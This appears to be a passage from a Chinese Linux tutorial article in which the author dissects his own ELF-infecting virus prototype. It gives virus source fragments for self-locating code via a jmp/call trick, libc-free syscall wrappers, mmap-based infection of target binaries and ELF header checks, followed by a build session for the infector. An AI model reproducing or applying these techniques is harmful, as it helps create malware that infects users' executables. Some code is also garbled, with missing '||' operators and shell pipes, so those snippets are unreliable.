歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> 剖析Linux病毒原型的

剖析Linux病毒原型的

日期:2017/2/27 9:30:37   编辑:更多Linux
  6 通過C語言和inline保證病毒代碼的可讀性和可移植性    用匯編寫病毒代碼的一個缺點就是 - 可讀性和可移植性差,這也是使用匯編語言寫  程序的一個普遍的缺點。  在這個Linux病毒原型代碼了主體使用的都是C語言,只有極少部分由於C語言本身的  限制而不得不使用gcc嵌入匯編。對於C語言部分,也盡量是用inline函數,保證代碼  層次分明,保證可讀性。    7 病毒代碼復制時如何獲得自己的起始地址?    雖然,病毒代碼部分向ELF Infector提供了代碼的起始地址,保證了生成第一個帶毒  文件時能夠找到代碼並插入到目標文件內。但是作為進入宿主內部的代碼在進行傳播  時卻無法使用這個地址,因為它的代碼位置已經受到了宿主的影響,這時它需要重新  定位自己的起始位置。    在寫這個病毒原型時,我並沒有參考過其它病毒的代碼,因此這裡采用的也許並  不是一個最好的方法:    /* Get start address of virus code */  __asm__ volatile (  "jmp get_start_addr\n"  "infect_start:\n\t"  "popl %0\n\t"  :"=m" (para_code_start_addr)  :);  para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;    ... /* c代碼 */  ...    __asm__ volatile (  ...  "get_start_addr:\n\t"  "call infect_start\n"  "return:\n\t"  "push $0xAABBCCDD\n\t" /* push ret_addr */  "ret\n"  ::);    通過緩沖區溢出中的一個技巧,jmp/call組合來得到push $0xAABBCCDD指令的地址。  這個地址是0xAABBCCDD地址向後一個push指令,而0xAABBCCDD的地址就是那個用於  存放病毒代碼返回地址的地址,這個地址相對於病毒代碼起始地址的偏移我們是知道  的,就是病毒代碼函數向ELF Infector接口提供的那個宏定義的值:  #ifndef NDEBUG  #define PARACODE_RETADDR_ADDR_OFFSET 1704  #else  #define PARACODE_RETADDR_ADDR_OFFSET 1232  #endif    這樣病毒代碼在當前宿主中的位置就可以得到了(注意從匯編指令出來後,  para_code_start_addr中存放的是0xAABBCCDD的地址,我們減去偏移再減  一個push指令的長度,就是病毒代碼的起始地址):    para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;    8 拋棄C庫    由於病毒代碼要能在不同的ELF文件內容工作,所以我們必須要保證所有的相關函數  調用在病毒體內即可完成。而對C庫的使用將使我們很難做到這一點,即使有的C庫函  數是可以完全內聯的(完全內聯就是說,這個函數本身可以內聯,同時其內部沒有向  外的函數調用),但是隨著編譯環境的不同,這點也是不能得到根本保證的,因此我  們有必要選擇拋棄C庫。    沒有了C庫,我們使用到的一些函數調用就必須重新實現。在這個Linux病毒原型中有  兩種情況,一種是系統調用,另一種是普通的函數。    對於系統調用,我們采用了重新包裝的方法:  static inline  g_syscall3(int, write, int, fd, const void *, buf, off_t, count);  static inline  g_syscall3(int, getdents, uint, fd, strUCt dirent *, dirp, uint, count);  static inline  g_syscall3(int, open, const char *, file, int, flag, int, mode);  static inline  g_syscall1(int, close, int, fd);  static inline  g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,  int, flags, int, fd, off_t, offset);  static inline  g_syscall2(int, munmap, void *, addr, size_t, len);  static inline  g_syscall2(int, rename, const char *, oldpath, const char *, newpath);  static inline  g_syscall2(int, fstat, int, filedes, struct stat *, buf);    並且修改了syscall包裝的宏定義,如  #define g__syscall_return(type, res) do { if ((unsigned long)(res) >= (unsigned long)(-125)) { res = -1; } return (type) (res); } while (0)    #define g_syscall0(type,name) type g_##name(void) { long __res; __asm__ volatile ("int $0x80" : "=a" (__res) : "0" (__NR_##name)); g__syscall_return(type,__res); }    對於普通的函數,直接復制一份函數定義:  static inline void * __memcpy(void * to, const void * from, size_t n)  {  int d0, d1, d2;  __asm__ __volatile__(  "rep ; movsl\n\t"  "testb $2,%b4\n\t"  "je 1f\n\t"  "movsw\n"  "1:\ttestb $1,%b4\n\t"  "je 2f\n\t"  "movsb\n"  "2:"  : "=&c" (d0), "=&D" (d1), "=&S" (d2)  :"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)  : "memory");  return (to);  }    9 保證病毒代碼的瘦身需要    為了保證病毒代碼體積不至於過於龐大,影響病毒代碼的感染,編寫代碼時也要注意  代碼體積問題。由於采用C代碼的方式,一些函數調用都是內聯的方式,因此每多一個  調用都會引起代碼體積的增加。  在進行ELF文件讀寫更是如此,read/write被頻繁的調用。為了減小這方面的影響,對  目標ELF文件進行了一個mmap處理,這樣地址空間直接被映射到文件,就消除了讀目標  文件時所要做的read調用,節省了一些空間:    ehdr = g_mmap2(0, stat.st_size, PROT_WRITEPROT_READ, MAP_SHARED, fd, 0);  if (ehdr == MAP_FAILED) {  goto err;  }    /* Check ELF magic-ident */  if (ehdr->e_ident[EI_MAG0] != 0x7f   ehdr->e_ident[EI_MAG1] != 'E'   ehdr->e_ident[EI_MAG2] != 'L'   ehdr->e_ident[EI_MAG3] != 'F'   ehdr->e_ident[EI_CLASS] != ELFCLASS32   ehdr->e_ident[EI_DATA] != ELFDATA2LSB   ehdr->e_ident[EI_VERSION] != EV_CURRENT   ehdr->e_type != ET_EXEC   ehdr->e_machine != EM_386   ehdr->e_version != EV_CURRENT  ) {  V_DEBUG_WRITE(1, &err_type, sizeof(err_type));  goto err;  }    當前的代碼都是用C編寫,這樣很難象匯編代碼那樣進行更高程度的精簡,不過目前的  代碼體積還在合理的范圍,  在調試狀態和標准狀態分別是1744和1248  #ifndef NDEBUG  #define PARACODE_LENGTH 1744  #else  #define PARACODE_LENGTH 1248  #endif    10 數據結構的不一致    與C庫的代碼調用類似,我們使用的頭文件中有一些數據類型的定義是經過  包裝的,與系統調用中使用的並不相同。代碼相關的兩個數據結構,單獨提取了出來。    struct dirent {  long d_ino;  unsigned long d_off;  unsigned short d_reclen;  char d_name[256]; /* We must not include limits.h! */  };    struct stat {  unsigned long st_dev;  unsigned long st_ino;  unsigned short st_mode;  unsigned short st_nlink;  unsigned short st_uid;  unsigned short st_gid;  unsigned long st_rdev;  unsigned long st_size;  unsigned long st_blksize;  unsigned long st_blocks;  unsigned long st_atime;  unsigned long st_atime_nsec;  unsigned long st_mtime;  unsigned long st_mtime_nsec;  unsigned long st_ctime;  unsigned long st_ctime_nsec;  unsigned long __unused4;  unsigned long __unused5;  };    五、 新編譯環境下的調試方法  grip2@linux:~/tmp/virus> ls  g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h    調整Makefile文件,將編譯模式改為調試模式,即關掉-DNDEBUG選項  grip2@linux:~/tmp/virus> cat Makefile  all: foo gei  gei: g-elf-infector.c gvirus.o  gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG  foo: foo.c  gcc $< -o foo  gvirus.o: gvirus.c  gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG  clean:  rm *.o -rf  rm foo -rf  rm gei -rf    編譯代碼  grip2@linux:~/tmp/virus> make  gcc foo.c -o foo  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG    先獲取病毒代碼長度,然後調整gvirus.c中的#define PARACODE_LENGTH定義  grip2@linux:~/tmp/virus>. /gei -l objdump -d geigrep aabbccdd  8049427: 68 dd cc bb aa push $0xaabbccdd  grip2@linux:~




Copyright © Linux教程網 All Rights Reserved